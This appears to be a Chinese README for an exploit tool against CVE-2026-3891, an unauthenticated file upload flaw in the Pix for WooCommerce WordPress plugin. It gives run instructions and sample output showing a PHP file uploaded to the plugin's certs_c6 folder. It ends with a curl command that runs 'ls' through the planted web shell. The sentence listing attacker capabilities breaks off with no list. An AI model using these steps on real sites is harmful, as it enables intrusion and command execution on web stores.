CVE-2026-3891 是一个严重的未经认证的任意文件上传漏洞,存在于 Pix for WooCommerce WordPress 插件中,影响版本至 1.5.0(含)。
该漏洞存在于 lkn_pix_for_woocommerce_c6_save_settings 功能中,原因是缺少授权控制且文件类型验证不足。此利用工具自动获取有效 nonce,并演示了将 PHP 文件无限制上传到 Web 可访问目录的过程。
通过利用此漏洞,未经认证的攻击者可能能够:
pip install requests
CVE-2026-3891.py 文件保存到您的系统。python CVE-2026-3891.py
在提示时输入目标 WordPress URL:
[?] Enter target URL: http://localhost/wordpress
示例:
[*] Requesting nonce...
[+] Nonce obtained: **********
[*] Uploading woocommerce.php...
[+] File uploaded successfully!
[+] URL: http://target/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php
curl http://target/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php?cmd=ls
